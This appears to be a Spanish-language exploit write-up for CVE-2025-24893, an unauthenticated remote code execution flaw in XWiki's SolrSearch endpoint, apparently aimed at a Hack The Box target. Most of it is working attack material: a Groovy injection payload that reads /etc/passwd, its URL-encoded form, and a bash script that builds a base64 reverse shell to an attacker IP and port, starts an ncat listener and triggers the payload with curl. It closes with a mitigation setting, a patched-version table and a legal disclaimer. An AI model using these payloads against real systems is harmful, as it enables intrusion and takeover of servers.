
CVE-2025-24893 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada en XWiki, una popular plataforma wiki empresarial de código abierto.
SolrSearch (UI de XWiki)El endpoint /xwiki/bin/get/Main/SolrSearch concatena la entrada no confiable text=
directamente en una plantilla Freemarker.
Al cerrar prematuramente la plantilla y abrir un nuevo bloque {{groovy}} … {{/groovy}},
un atacante ejecuta código Groovy arbitrario sin autenticación.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch debería incrustar el texto proporcionado como contenido plano, pero el
manejador de la macro no escapa }}}, por lo que ocurre lo siguiente:
}}} cierra el bloque Freemarker actual. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false fuerza la ejecución síncrona (funciona incluso para invitados).Una PoC mínima que imprime /etc/passwd:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
Variante codificada en URL (espacios → %20, llaves → %7B/%7D, etc.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Branch | Fixed in | Vulnerable ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (y todos los 15.9 / 15.8 …) |
(fuente: advisory de OffSec y XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py se incluye en exploit/ (ver el bloque de código a continuación).
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
donde
<TARGET URL> - URL incluyendo http:// o https://
(pasa -c "id" para ejecutar un comando arbitrario en lugar de una shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Investigación y PoC: DeX1d
Aviso legal: Solo para fines educativos. Ejecutar esto contra sistemas que no te pertenecen es ilegal.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Sin mantenimiento – todos siguen siendo vulnerables |